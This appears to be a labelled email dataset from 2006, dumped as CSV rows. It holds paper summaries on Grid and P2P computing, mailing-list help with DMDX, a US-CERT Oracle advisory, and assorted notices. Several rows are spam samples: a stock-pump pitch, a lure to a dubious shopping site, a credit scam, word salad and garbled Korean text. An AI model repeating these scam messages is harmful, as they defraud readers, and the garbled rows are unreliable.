-0400",paper 23,"GRID Physiology of the Grid the authors define an Open Grid Services Architecture (OGSA) that supports the creation, management and invocation of stateful, transient services as named entries with dynamic lifetimes. Merits of this service-oriented model are as follows: All components of the environment are virtualized. Virtualization brings to the table a large number of advantages such as composition of services regardless of implementation, management of resources across heterogeneous platforms with local or remote transparency and the ability to map common service semantic behavior seamlessly onto native platform facilities. It evolves the Globus toolkit using a number of components such as ""gatekeeper"", Meta Directory Service, and Grid Security Infrastructure. the underlying Web Services framework supports in dynamic discovery of services and nescessiates mechanisms for registering and discovering interface definitions and endpoint implementation descriptions. different Virtual Organization (VO) structures: Simple Hosting Environment : consists of a single administrative domain and supporting native facilities for service management Virtual Hosting Environment : VOs dealing with multiple heterogeneous environments require another higher layer to delegate requests to the lower level Collective Operations : Virtual Hosting Environments which provides VO participants with more sophisticated or collective end-to-end services. each Grid Service Request results in creation of a grid service instance with some initial lifetime. the user application is required to generate ""keepalive"" requests to the Grid Service that it has created. the lifetime of a request can be extended by a client though granting such a request is not mandatory. the network protocol must provide reliable transport, authentication and delegation, ubiquity and the GSR format into consideration. Higher level services must include distributed data management services, workflow services, auditing services, instrumentation and monitoring services and security mapping services. P2P and Grid Computing both the systems deal with resource sharing in virtual communities. Comparisons: Grids generally deal with more sophisticated/complex services and application while P2P evolved initially around file sharing applications. there exists a certain amount of trust and co-operation amongst Grid participants while P2P users have little incentive to act cooperatively. Resource availability tends to be higher and more uniform in the Grid System. Although the number of participating entries in P2P is much higher, the amount of data transferred is much more in Grid based systems (maybe due to better resources) the authors suggest combining the elements of Grid and P2P computing for better computing in the future. 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Golden Apple focuses its activities where technology can be used effectively to maximize returns on invested capital by reducing drilling risk and enhancing its ability to cost-effectively grow reserves and production volumes. Golden Apple Oil and Gas, Inc has opened a Canadian office in Toronto, Ontario to facilitate the management of its Canadian operations. All correspondence and communication will continue to be serviced by the company's head office staff in Phoenix Arizona. GET IN NOW, DO""NT REGRET LATER Gloria Istvan demitting cannibalize baneberry defective germ cachalot bouts distorts baneberry battleship legislates acceptability legislates anchor gadwall chew distorts dependability alcohol compression Paul abreaction Gloria experts discriminates capitalizations blat Samoa iced crossover ",1,0 Niranjan Sivakumar ,egs+summary@cs.cornell.edu,"Thu, 20 Apr 2006 11:01:46 -0400",PAPER 23,"Niranjan Sivakumar The Physiology of the Grid On Death, Taxes, and the Convergence of Peer-to-Peer and Grid Computing The Open Grid Services Architecture (OGSA) is designed to provide a method to pool resources and create ""virtual organizations"" out of heterogeneous platforms. The OGSA model is closely modeled on, and in some ways an extension or evolution of, web services and current uses of the Globus toolkit. OGSA proposes conventions by which services can be described, advertised, and interoperate. The service oriented model is slightly different previous work that tended to focus on physical resources. The example provided in the paper bases service descriptions on WSDL (although it is mentioned that other approaches may also be feasible.) The system allows for different platforms and languages to be used to create the actual services. A number of standard interfaces are defined that may be provided by a grid service. There are provisions to create temporary services and to destroy them. Much as with web services, a client will contact a service provider and obtain information about the services that it provides. Then, the client can authenticate if necessary and create an instance of the service that it requires. The service provider will perform functions that are invoked and respond to the client when necessary. Grid service instances are given a unique Grid service handle (GSH) and this has an associated Grid service reference. While the GSH is constant, the GSR is dynamic and can be changed to reflect upgrades or changes to the service. As with selecting the platform and language to run a service on, OGSA also allows for different network protocols to be used depending on the requirements of the application. P2P and Grid network computing are shown to have many similar properties, but with slightly different focuses. Both P2P networks and Grid computing seek to organize resources across virtual organizations, but P2P network development has focused on failure while Grid development has focused on infrastructural issues. The paper argues that these properties are complementary, and thus there will be an inevitable convergence of the technologies. The authors argue that up to now, the divergence in development has been spurred by different user communities and uses for Grid and P2P networks. Grid computing has largely focused on the scientific community and pooling the resources of relatively well connected, powerful machines for computational purposes. P2P networks have focused on average Internet users and applications such as file sharing, but connecting weaker, less reliably-linked machines. Nonetheless, as these services continue to develop and provide new functionality, their development goals are beginning to converge. OGSA provides a fairly high-level specification of a network and an extremely ambitious goal for it. The biggest problem with OGSA might be that the developers seem to be ""over-planning"" and in some ways counting their chickens before they hatch. It is not clear if it is really possible to develop a system with the goal of perhaps becoming as popular as the world wide web has become. Furthermore, while they propose some applications for using OGSA, there is no presentation of a real ""killer application."" The paper on the convergence of P2P and Grid computing offers an interesting observation, but perhaps could benefit for more specific examples of adapting features offered by P2P networks to Grids or vice-versa. The paper stops at a very high level discussing the topic at a fairly general level. ",0,0 Gopal Parameswaran ,egs+summary@cs.cornell.edu,"Thu, 20 Apr 2006 11:15:17 -0400",PAPER 23,"Grid Computing and Peer to Peer Systems Grid Computing and Peer to Peer Systems are two different approaches to highly similar objectives i.e. the pooling and sharing of large sets of distributed resources but differ in their requirements since they focus on two different sets of users. Also Grid computing is primarily focused on distributed computing while Peer to Peer systems currently are restricted to mostly file sharing with focus on anonymities and dealing with failures in the network. Thus a merger of these two areas could deliver better distributed applications that could expand its horizons beyond those of current grid computing resources. In the physiology of the Grid the , the authors discusses the Open Grid Service Architecture that serves as the standard for Grid computing and how Grid computing streamlines the process by using standards and extends the system beyond languages and operating systems by using a web service based architecture. On the other hand peer to peer systems do not currently have any standards developed and hence most applications have their own way of splitting and hashing files and their own network topologies. Thus any user of a peer to peer system if he wants to use two different peer to peer applications need to run both of them simultaneously and cannot share files from one system to another. This limitation in peer to peer system stems from the emerging technology scenario that exists for peer to peer systems as each new implementation of a peer to peer system hold usually little resemblance to a previous system in terms of operation and overlay connections other than supporting the basic functionalities of node join and churn. Grid Computing on the other hand is a commercial solution to enhancing resources for distributed computing. Also since Grid computing uses SOAP which is an XML based protocol over HTTP that provides a means for messaging between a service provider and a service requestor. Thus Grid computing has a more service oriented architecture implemented on a smaller scale where some indexing of ser have a centralized system of indexing service providers whereas peer to peer systems are a totally decentralized system which are scalable across millions of nodes but suffer more from churn related issues. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 20 Apr 2006 11:32:44 -0700",[DMDX] Re: problems running dmdx,"At 07:34 AM 4/20/2006 -0300, you wrote: >Hello, >I thank you very much for your help. Unfortunately, I have tried to >change hardware acceleration and it didn't work, I keep receiving the >same message: >""Directx reports no support for Page FlippingThe video card in this >machine is not adequate for DMDX'x purposes"". >One friend of mine has the same videocard on another computer and >dmdx's runs nicely. >Did anybody have a problem like this? Not that I've heard about. The times I've run into this it's either been the hardware acceleration slider or the video card wasn't actually capable of page flipping -- your card is certainly supposed to be capable of page flipping as are all cards made in the last decade. It's possible your card is damaged however it's more likely that the drivers are borked and removing the card in the device manager and letting XP detect it again on reboot will fix things. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""I couldn't remember when I had been so disappointed. Except perhaps the time I found out that M&Ms really *do* melt in your hand ..."" - Peter Oakley ",0,0 Kevin ,egs+summary@cs.cornell.edu,"Thu, 20 Apr 2006 11:48:50 -0400",PAPER 23,"The Open Grid Services Architecture (OGSA) if presented in what seems less like a technical paper and more like a call to arms. There are resources being wasted and interoperability between platforms is practically non-existant. Grid responds by setting up a protocol that will allow Virtual Organizations (VO) to share resources with each other (these resources could be memory, processor, whatever). The authors assure quality of service and robustness while trying to build upon currently accepted standards. By allowing all resources to be seen as services, the authors set up Grid to allow for the management of distinct global resources. Death and taxes draw a parallel between grids and p2p. They claim that grids have been focused mainly on infrastructure. Grids, in general, are used on networks where the structure of the network is known or can be administered. Furthermore, the systems are generally up for long periods and do not go down unannounced (unless an error occurs). P2P systems, on the other hand, have been focused on failure. With a high churn rate, P2P systems focus mainly on making sure the system does not go haywire when a quarter of the population randomly disappears. The authors claim that these two systems should and will eventually converge. Grid computing will gain something by churn resistance and P2P system will gain by having a solid infrastructure. ",0,0 Merle ,Tevito ,"Thu, 20 Apr 2006 20:39:27 +0900",everything ok,"You know what i'm so tired of paying all those high prices for ur goodies. It is just crazy. Luckily, I was one of the fortunate one is who came across www.forwhatisoeilwatlanta.org/jn/. easier. American and Frost society today. shows us that we should all express our feelings and Citizens he be in todays our own person, even if no one else will Merle ",1,0 �� ���� ,DMDX@psy1.psych.arizona.edu,"Sat, 31 Dec 1938 11:04:23 +0000",��ü�ڵ� ��ٷ� �Ͼ���� ���� �۱ݵ˴ϴ� �����ڶ�,���� ������ ���������� ������ ���� ��  ������ ���������� �� ������ ������  ���� �������� ���� ����������  ����  ���� ���������� ���� �� ������ ����         �� �� �� ���������� ������,1,1 Chiu Wah Kelvin So ,egs+summary@cs.cornell.edu,"Thu, 20 Apr 2006 12:03:47 -0400",Paper 23," The first paper, ""On Death, Taxes, and the Convergence of Peer-to-Peer and Grid Computing,"" compares and contrasts peer-to-peer technology and grid computing. The authors point out differences in the two technologies in their incentive, resources, application, scale, and services that they provided. The target communities are different in the two technologies. In Grid, it is targeted toward scientific computing and business use whereas in P2P it is targeted to diverse and anonymous individual. Therefore, in Grid resource is usually well managed, powerful and available most of the time, and they don't have as much scalability and resilience to failure as P2P. In Grid, the services that they provide are usually persistent and multipurpose whereas in P2P it provides very specific simple services such as file-sharing. Although they are different in many aspects, they both try to solve similar problem which is the sharing of resource within virtual communities. Finally, it concludes that that the two communities are approaching each other over time. The second paper, ""The Physiology of the Grid,"" present an Open Grid Services Architecture that integrate services across distributed, heterogeneous, and dynamic resources from ""virtual organization"". This paper focuses on three aspects of how a Grid functions, can be implemented and applied. First, it views Grid as an extensible set of Grid services that can be aggregated to achieve the need of various ""Virtual Organization."" Second, it uses Globus Toolkit to define WSDL interfaces for a Grid services, such as lifetime management, notification, policy management, credential management and virtualization. Finally, they focus on using Grid in commercial setting instead of scientific computing, in which it needs to support integration with existing resources and applications. ",0,0 US-CERT Technical Alerts ,technical-alerts@us-cert.gov,"Wed, 19 Apr 2006 15:08:38 -0400",US-CERT Technical Cyber Security Alert TA06-109A -- Oracle Products Contain Multiple Vulnerabilities ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-109A Oracle Products Contain Multiple Vulnerabilities Original release date: April 19, 2006 Last revised: -- Source: US-CERT Systems Affected * Oracle Database 10g * Oracle9i Database * Oracle8i Database * Oracle Enterprise Manager 10g Grid Control * Oracle Application Server 10g * Oracle Collaboration Suite 10g * Oracle9i Collaboration Suite * Oracle E-Business Suite Release 11i * Oracle E-Business Suite Release 11.0 * Oracle Pharmaceutical Applications * JD Edwards EnterpriseOne, OneWorld Tools * Oracle PeopleSoft Enterprise Tools * Oracle Workflow * Oracle Developer Suite 6i For more information regarding affected product versions, please see the Oracle Critical Patch Update - April 2006. Overview Oracle products and components are affected by multiple vulnerabilities. The impacts of these vulnerabilities include remote execution of arbitrary code, information disclosure, and denial of service. I. Description Oracle has released Critical Patch Update - April 2006. This update addresses more than thirty vulnerabilities in different Oracle products and components. The Critical Patch Update provides information about affected components, access and authorization required, and the impact of the vulnerabilities on data confidentiality, integrity, and availability. MetaLink customers should refer to MetaLink Note 293956.1 (login required) for more information on terms used in the Critical Patch Update. According to Oracle, none of the vulnerabilities corrected in the Oracle Critical Patch Update affect Oracle Database Client-only installations. The PL/SQL Gateway vulnerability identified as PLSQL01 in the Oracle Critical Patch Update corresponds to US-CERT Vulnerability Note VU#169164, which includes further details including workarounds. In most cases, Oracle does not associate Vuln# identifiers (e.g., DB01) with other available information. As more details about vulnerabilities and remediation strategies becomes available, we will update the individual vulnerability notes. II. Impact The impact of these vulnerabilities varies depending on the product, component, and configuration of the system. Potential consequences include the execution of arbitrary code or commands, information disclosure, and denial of service. Vulnerable components may be available to unauthenticated, remote attackers. An attacker who compromises an Oracle database may be able to gain access to sensitive information. III. Solution Apply a patch Apply the appropriate patches or upgrade as specified in the Oracle Critical Patch Update - April 2006. Note that this Critical Patch Update only lists newly corrected issues. Updates to patches for previously known issues are not listed. As noted in the update, some patches are cumulative, others are not: The Oracle Database, Oracle Application Server, Oracle Enterprise Manager Grid Control, Oracle Collaboration Suite, JD Edwards EnterpriseOne and OneWorld Tools, and PeopleSoft Enterprise Portal Applications patches in the Updates are cumulative; each successive Critical Patch Update contains the fixes from the previous Critical Patch Updates. Oracle E-Business Suite and Applications patches are not cumulative, so E-Business Suite and Applications customers should refer to previous Critical Patch Updates to identify previous fixes they wish to apply. Patches for some platforms and components were not available when the Critical Patch Update was published on April 18, 2006. Please see MetaLink Note 360465.1 (login required) for more information. Known issues with Oracle patches are documented in the pre-installation notes and patch readme files. Please consult these documents specific to your system before applying patches. Appendix A. Vendor Information Oracle Please see Oracle Critical Patch Update - April 2006 and Critical Patch Updates and Security Alerts. Appendix B. References * US-CERT Vulnerability Note VU#169164 - * US-CERT Vulnerability Notes Related to Critical Patch Update - April 2006 - * Critical Patch Update - April 2006 - * Critical Patch Updates and Security Alerts - * Map of Public Vulnerability to Advisory/Alert - * Oracle Database Security Checklist (PDF) - * MetaLink Note 293956.1 (login required) - * MetaLink Note 360465.1 (login required) - * Details Oracle Critical Patch Update April 2006 - ____________________________________________________________________ Information used in this document came from Oracle, NGSSoftware, and Red-Database-Security. Oracle credits the following individuals for providing information regarding vulnerabilities addressed in the Critical Patch Update - April 2006: Esteban Martinez Fayo of Application Security, Inc., Alexander Kornbrust of Red-Database-Security, David Litchfield of NGSSoftware Ltd., and noderat ratty. ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to with ""TA06-109A Feedback VU#169164"" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History Apr 19, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBREaGLH0pj593lg50AQIzvggAgNb5fxLcz2yYOHgduSIARMlORM6ndZyi 4h/k1iO0w4GEq2sH1jE4gg2fnc2vgumHRssaMX7lzeAdM8qD3jUqMNuRT83Ywrjh qOCXHykdx62L5x1Nf2tn8zhTZt0kzmOmHXkUEQRAiqRbtZ6f15am6skjCUy9B9jl ber/NpM/9XQAK5Ku4wwcX3rMLlBvigOnDp+2JKWM+e4vT4M3XOibJnQAiSGqE4ez habCOOOkMye+i//l2VQwvc/d5woPdo5fpfTW6owMUd6gngvECy3tgeP54brdbQ8u tYxo8HxhYmph+9tkyVFTt95e0A93pDHX7lJAzz4OFvxxXS0ZrApnEQ== =veVp -----END PGP SIGNATURE-----",0,1 US-CERT Security Bulletins ,security-bulletins@us-cert.gov,"Thu, 20 Apr 2006 15:03:29 -0400","US-CERT Cyber Security Bulletin SB06-110 -- Summary of Security Items from April 13 through April 19, 2006 ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Summary of Security Items from April 13 through April 19, 2006 This bulletin provides a summary of new or updated vulnerabilities, exploits, trends, viruses, and trojans from April 13 through April 19, 2006, and is available here: For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBREfain0pj593lg50AQJYWwgAy2o+s2p6vX17/dBJxnzfok7cMKVzomqS jNo3FjR7DZXeAHC37gDmuyQ82AMM4lu1SxSM1kDzZMuGWTCMdBc8pl4LKA0YH7G5 3Hnha7EyacsNLDWFMSdbGwq8A7mIgj2qkAlLE8P2/VO8X9Sb4hdtX4MP2YlVRs5N C+D+phhoK2xuHCxYOcigZ0Hp2oNRZrt6iXS+Zjo/QhEYX9i471RcT5Jvq35fZ2KO Vxxuq+Wldkf3LtKg/BOxBtBBGgS0wzPZ/m9ptubAH35j/EowDtD1msi1ZjQRJUh8 qGExeKTqrpxvXFBQPfj+R7kNPorB2zjCbMVgXR0VmpcqTxLBxIIR/g== =LR6T -----END PGP SIGNATURE-----",0,1 """Skimmed F. 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",1,1 Scott Dietz ,lyon@wheatonma.edu,"Thu, 20 Apr 2006 14:57:47 -0400",Wheaton's Laplante Earns National Co-Hitter-of-the-Week Honors," Wheaton's Laplante Earns National Co-Hitter-of-the-Week Honors NORTON, MA- Wheaton College baseball standout Adam Laplante (Harwich, MA/Harwich) has been named co-hitter of the week by the National Collegiate Baseball Writers Association (NCBWA) for the week ending on Sunday, April 16. Laplante, who is the first Lyon to ever draw the national honor, shares the award with Guilford College (N.C.) senior Rob Bittner. This was Laplante's third individual honor of the week, as the junior catcher also earned Eastern College Athletic Conference (ECAC) and New England Women's and Men's Athletic Conference (NEWMAC) Player-of-the-Week accolades. Laplante entered last week batting .288 with one home run and six RBI on the season before catching fire and leading the Lyons to a 5-0 showing. The right-handed batter hit .600 (12-for-20) with a 1.500 slugging percentage and .609 on-base percentage while driving in 14 runs and scoring nine more. Laplante also slugged four home runs, two triples and a pair of doubles, as he belted his four long balls over the course of five days after homering twice in his first 56 collegiate games. During a 5-0 win at the United States Coast Guard Academy on April 11, Laplante was 3-for-4 with three runs before going 4-for-5 with five RBI and three runs in a 13-7 win the next day against visiting Bridgewater State College. Laplante fell a double shy of the cycle while slugging his first career grand slam to key a seven-run fourth inning during a comeback victory. After driving in a run and scoring once during an 8-7 win versus Worcester State College on April 13, Laplante continued his hot hitting in a doubleheader sweep at Clark University on Saturday. He drove in three runs during an 8-5 victory in game one, smacking a two-out, two-run triple in the fifth before hitting a sacrifice fly in the seventh. During the second contest, Laplante went 3-for-5 with four RBI and two runs while smacking two doubles and a home run. Thanks in part to Laplante, the Lyons are ranked first in New England and seventh nationally in this week's American Baseball Coaches Association (ABCA) polls and, following a 6-3 win against Massachusetts Institute of Technology (MIT) on Tuesday, have won a program-record 15 consecutive games. Wheaton, which clinched its eighth NEWMAC regular season title in the conference's eight-year history, completes its league slate by hosting the United States Coast Guard Academy on Thursday at 3:30 p.m. ********************************************************** Scott Dietz Assistant Director of Athletics for Media Relations Wheaton College 26 East Main Street Norton, MA 02766 P- (508) 286-3768 F- (508) 286-8273 sdietz@wheatonma.edu http://www.wheatonma.edu/athletics ",0,1 Catherine Thomas ,"digital_library_seminars@columbia.edu, cul@columbia.edu, epic-staff@columbia.edu, ccnmtl-ft@columbia.edu, acis-folks@columbia.edu, prostaff@libraries.cul.columbia.edu, dkvall@columbia.edu, srm2117@columbia.edu","Thu, 20 Apr 2006 16:19:10 -0400",Digital Library Seminar Series presentation on Fri. Apr. 21," Reminder: Digital Library Seminar Series presentation on Friday, April 21. TOPIC: Sakai, the Future of Course Management at Columbia SPEAKER: David Millman, Director, Systems Integration, Enterprise Systems, CUIT WHEN: Friday, April 21 ~ 10:30 AM-12:00 PM WHERE: 203 Butler Library MORE INFO: http://www.sakaiproject.org/ ----------------------------------------------- UPCOMING DIGITAL LIBRARY SEMINAR SERIES PRESENTATION: TOPIC: DLF Aquifer SPEAKER: Katherine Kott, Aquifer Director, Digital Library Federation (DLF) WHEN: Friday, May 5 ~ 10:00-11:30 AM WHERE: 203 Butler Library ""DLF Aquifer is an initiative of the Digital Library Federation. Envisioned as a means of leveraging digital library content, DLF Aquifer is creating scalable solutions to enable teaching, learning and scholarship. Beginning with a significant, well-bounded collection of digital content in the area of American culture and life, DLF Aquifer is creating a test-bed of tools for selecting, collecting and providing access to quality digital content. Grounded in the thinking that libraries add value through the organization of information, DLF Aquifer offers opportunities for collaboration among libraries and with partners building repositories, content management systems, course management systems and other solutions that support the scholarly process."" MORE INFO: http://www.diglib.org/aquifer/ -- Catherine M. Thomas, Web Services Librarian Libraries Digital Program Division Columbia University Libraries 212-854-8355 ~ thomas@columbia.edu ",0,1 Mark Boettcher ,"DMDX@psy1.psych.arizona.edu, DMDX@psy1.psych.arizona.edu","Fri, 21 Apr 2006 15:37:15 +1200",[DMDX] RE: Re: problems running dmdx,"Yeah, that sounds like maybe your adapter driver isn't reporting capabilities correctly. You might want to check the driver version on your machine and compare it to your friend's version if you're curious, but in any case, download the latest driver, especially if you have an NVidia card. I've had various problems with the MS NVidia card drivers which went away as soon as I installed the latest from NVidia. Also make sure you have an updated version of DirectX. 9.0c is the latest I believe. Cheers, Mark -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu on behalf of Jonathan C. Forster Sent: Fri 4/21/2006 6:32 AM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: problems running dmdx At 07:34 AM 4/20/2006 -0300, you wrote: >Hello, >I thank you very much for your help. Unfortunately, I have tried to >change hardware acceleration and it didn't work, I keep receiving the >same message: >""Directx reports no support for Page FlippingThe video card in this >machine is not adequate for DMDX'x purposes"". >One friend of mine has the same videocard on another computer and >dmdx's runs nicely. >Did anybody have a problem like this? Not that I've heard about. The times I've run into this it's either been the hardware acceleration slider or the video card wasn't actually capable of page flipping -- your card is certainly supposed to be capable of page flipping as are all cards made in the last decade. It's possible your card is damaged however it's more likely that the drivers are borked and removing the card in the device manager and letting XP detect it again on reboot will fix things. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""I couldn't remember when I had been so disappointed. Except perhaps the time I found out that M&Ms really *do* melt in your hand ..."" - Peter Oakley ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ",0,1 Andrew Cunningham ,egs+summary@cs.cornell.edu,"Fri, 21 Apr 2006 00:21:33 -0400",PAPER 23,"Forgive the lateness -- I returned home to find this in my drafts folder! Andrew Cunningham arc39 The Physiology of the Grid Ian Foster, Carl Kesselman, Jeffrey M. Nick, Steven Tuecke Similar to the Death and Taxes paper, rather than exploring the differences and similarities between peer to peer and grid systems, this paper focuses on the technical specifications of grid systems and applications. It presents the Globus toolkit and web services, along with a bevy of buzzwords, which are real and implemented technologies that work together to permit interoperability of disparate services. The ultimate point of this work is to permit virtual organizations to cohere; in other words, to allow individual entities to negotiate efficiently how to communicate with each other. The Grid service is represented as a sort of server that operates in many ways as a kernel, providing service handles to client processes via invocations to default portions of the Grid service that are themselves handles. On Death, Taxes, and the Convergence of Peer-to-Peer and Grid Computing Ian Foster, Adriana Iamnitchi Grid computing is a different approach to resource sharing across networks, with different foci and assumptions that determine their target audiences. The differrence between this and P2P is the degree of centralization and location of control, in that peer to peer systems tend to be allergic to centralization, where Grid Computing tries to use its resources as efficiently as possible, while accepting centralized control. Grid applications focus on large organizations supplying resources and makes more assumptions about security, trust, and up-time. Grid computing also is concerned with providing standardized interfaces to allow generalized resource sharing, where Peer to Peer systems focus on vertically integrated solutions to specific resource sharing issues. Breaking standard form, this final paragraph comments on both papers. They are somewhat content free, providing descriptions of real systems that are separate architectures in and of themselves, but which do not necessarily add up to the suggested technology. Grid permits the sharing of resources, but there is so much noise and so much tinsel that it is hard to see exactly where this occurs; the heavy lifting seems to be done by other, less exalted technologies. ",0,0 Jin Ooi ,undisclosed-recipients:;,"Fri, 21 Apr 2006 13:24:12 +0100","faculty positions at Edinburgh, UK","Dear Colleague CHAIR IN STRUCTURES & FIRE CHAIR OF STRUCTURAL MECHANICS LECTURESHIP IN GEOTECHNICAL ENGINEERING/GRANULAR MECHANICS I would be very grateful if you would draw the attached announcements to your interested colleagues or researchers. The closing date is 12th May - but applicants can submit via the University's web portal: www.jobs.ed.ac.uk Informal enquiries about the Structural Mechanics Chair should be directed to Prof Michael Rotter (m.rotter@ed.ac.uk) or for the Structures and Fire Chair: Prof Jose Torero (j.torero@ed.ac.uk) For the Lectureship in Geotechnical Engineering/Granular Mechanics - please contact myself: (j.ooi@ed.ac.uk) Thanks for your help in drawing these posts to the attention of interested candidates. Regards Jin Ooi -- Jin Y. Ooi Professor of Particulate Solid Mechanics Institute for Infrastructure & Environment School of Engineering & Electronics University of Edinburgh The King's Buildings Edinburgh EH9 3JN, U.K. Tel: +44 (0)131 6505725 Fax: +44 (0)131 6506781 ",0,0 Edwina Roberson <4polariton967@usa.com>,complex-science@necsi.org,"Fri, 21 Apr 2006 10:40:23 +0000","hi, hit me asap, pentecostal"," his webbed feet, lifted his beak, and strained to hold a painful hard ""I can't,"" I said to him through clenched teeth. ""I can't, do you ===== Your cred it doesn't matter to us! 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Yes. They do resemble molecular collisions underlying actual turbulence. Wolfram probably constructed the rules inspired by his intimate knowledge about the physics of molecular collions. >>It should be pointed out >>(i) that the particles are fed into the system from the left at a speed >>which is one third of the maximum speed of particles and >>(ii) that clear patterns of fluid turbulence became visible only when >>viewed at a high level of granularity, that is when 20x20 blocks of >>automata are averaged into a single velocity vector, just as it would be >>in real life: At too high a resolution, no turbulence would be discerned, >>because the human eye would lose sight of the forest for trees. > SS: So the pattern is a higher level in a scale hierarchy. I am not sure. We are still dealing with molecular collisions uderlying turbulence. That is, the object of observation remans the same, but it appears to the human eye differently depending on how closesely the observer chooses to look at it. It reminds me of the situation in probabiulity theory where one can only predict the average values of many trials and not individual values of specific trials. Does your scale hierarchy includes the observer? >>Although the above modeling was done with cellular automata arranged on a >>2-dimensional plane, I am sure one can extend the modeling to >>3-dimensional space with additional rules specifying the behaviors of >>colliding particles in 3-dimensional space. >> >>It is my understanding that fluid turbulence is too complex a phenomenon >>to be successfully modeled using hydrodynamic equations. Even if someday >>mathematicians are able to succeed in modeling fluid turbulence using >>traditional mathematical equations, that would not diminish the >>significance of Wolfram’s modeling of fluid turbulence using cellular >>automata. To me, cellular automata-based modeling of turbulence is as >>real as any modeling of the same based on mathematical equations: Both >>cellular automata systems and mathematical equations are systems of >>symbols (created by human mind) representing reality with equal >>legitimacy. > SS: As ""real;"" as, yes -- but likely not as 'actual' as the wet stuff! According to Peirce (as I understand him), the actual is Secondness and all models belong to Thirdness. Hence, it would be natural that models cannot reproduce acutals in every details. Lao-tze also said something similar: Doh Gah Doh Bih Sahng Doh. (The Chinese characters read in Korean pronouciation. They will sound differently if read in Chinese or Japanese.) Once the truth is named, it is no longer the everlasting truth. Sung _______________________ Sungchul Ji Rutgers University Piscataway, N.J. 08855 ",0,0 Jodie Franklin ,arl-ereserve@arl.org,"Sun, 23 Apr 2006 01:45:37 +0900",�λ����� ���� ���鶧 ������ �ǵ帮�ڽ��ϴ�.,"petunia guru doubt culminate serviceberry doldrums weyerhauser electrician leave haggle mark sax exogamous coors crept histogram noteworthy wow dauphin dine precede wherewith ",1,0 ",","Sat, 22 Apr 2006 16:13:22 -0500",Back in action; hot springs odonata?,"-----Original Message----- From: Robert Larsen I visited both oxbows along the Pecos River just south of Highway 380, the large oxbow west of the Pecos on the refuge farm, and the one east of the river off the Bitter Lake refuge, Chaves County, New Mexico, Howdy folks, Robert's mention of Bitter Lakes reminds me. A couple of weeks ago, I met two Mexican naturalists from Nuevo Leon (Carlos Velasco and his wife Liliana). They expressed some interest in getting into odonate study, and mentioned a large wetland complex fed by a system of sulfur-rich hot springs. If anyone is familiar with or interested in those wetlands specifically, or odonata of sulfur-rich hot springs in general, or is looking for a contact in Nuevo Leon (I think he said they lived near Monterrery) who knows the local biodiversity and natural history, let me know, I'll get you in touch. Very friendly folks; Carlos currently specializes in cacti, Liliana in pollinating insects. I've been away from the office for about two and a half weeks in conjunction with the birth of my son. He and his mom are both doing well and have mostly recovered, so I am back at Bentsen again. If anyone came by for the weekly dragonfly walk while I was gone, I hope my fellow naturalists entertained you well. Looking forward to tomorrow's walk, to see how much the season progressed while I was otherwise occupied. One tantalizing glimpse today of a perched dragon that looked like a Gray-waisted Skimmer (Cannaphila insularis), but was leading the butterfly walk at the time, and had no camera handy, so am not 100% certain. Female Argia sp. are dancing all over the butterfly garden, lots of assorted gliders and saddlebags flying over the park road, and at least two Great Pondhawks (Erythemis vesiculosa) today, along with several Band-winged Dragonlets (Erythrodiplax umbrata) and Roseate Skimmers (Orthemis ferruginea), just scattered through the forest and gardens. I did return to find a message from Bob Behrstock, dated Wednesday. He was apparently in town leading some sort of nature/birding tour. He said they saw dozens of Striped Saddlebags (Tramea calverti) and several Pin-tailed Pondhawks (Erythemis plebeja) at Santa Ana NWR. Cheers, Josh Joshua S. Rose, Ph.D. Program Specialist World Birding Center Bentsen-Rio Grande Valley State Park joshua.rose@... 956-584-9156 x 236 [Non-text portions of this message have been removed] X-Yahoo-Message-Num: 910 >From joshua.rose@... Mon Apr 24 15:22:27 2006 Return-Path: X-Sender: Joshua.Rose@... X-Apparently-To: TexOdes@yahoogroups.com Received: (qmail 31040 invoked from network); 24 Apr 2006 22:22:24 -0000 Received: from unknown (66.218.66.218) by m28.grp.scd.yahoo.com with QMQP; 24 Apr 2006 22:22:24 -0000 Received: from unknown (HELO tpwd-mx5.tpwd.state.tx.us) (204.64.18.57) by mta3.grp.scd.yahoo.com with SMTP; 24 Apr 2006 22:22:24 -0000 X-MimeOLE: Produced By Microsoft Exchange V6.0.6603.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable Date: Mon, 24 Apr 2006 17:23:43 -0500 Message-ID: <827161E077DB2040AA22D85F86FF2173340BEE@...> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Bentsen FOY Smoky Rubyspot Thread-Index: AcZn7b6VJ8y2FmywT1yG0MjGnZtoJw== To: ""TexOdes"" X-Originating-IP: 204.64.18.57 X-eGroups-Msg-Info: 1:12:0:0 From: ""Joshua Rose"" Subject: Bentsen FOY Smoky Rubyspot X-Yahoo-Group-Post: member; u=242093430; y=GjzSSs9xnWDkKW5uxbiwRs4bNi3qCp9Ah1Oel-AYUisP X-Yahoo-Profile: dnhs99 Howdy folks, A family health issue caused me to miss work Sunday, including the weekly dragonfly walk. I spent a little time outdoors today and briefly scouted around for odonates. Two FOY species for the park: Black Setwing (Dythemis nigrescens), which I'm pretty sure someone else reported earlier; and a female Smoky Rubyspot (Haeterina titia) on the irrigation canal. Abundance and diversity seem to be up significantly over three weeks ago, when I last paid close attention. I noted 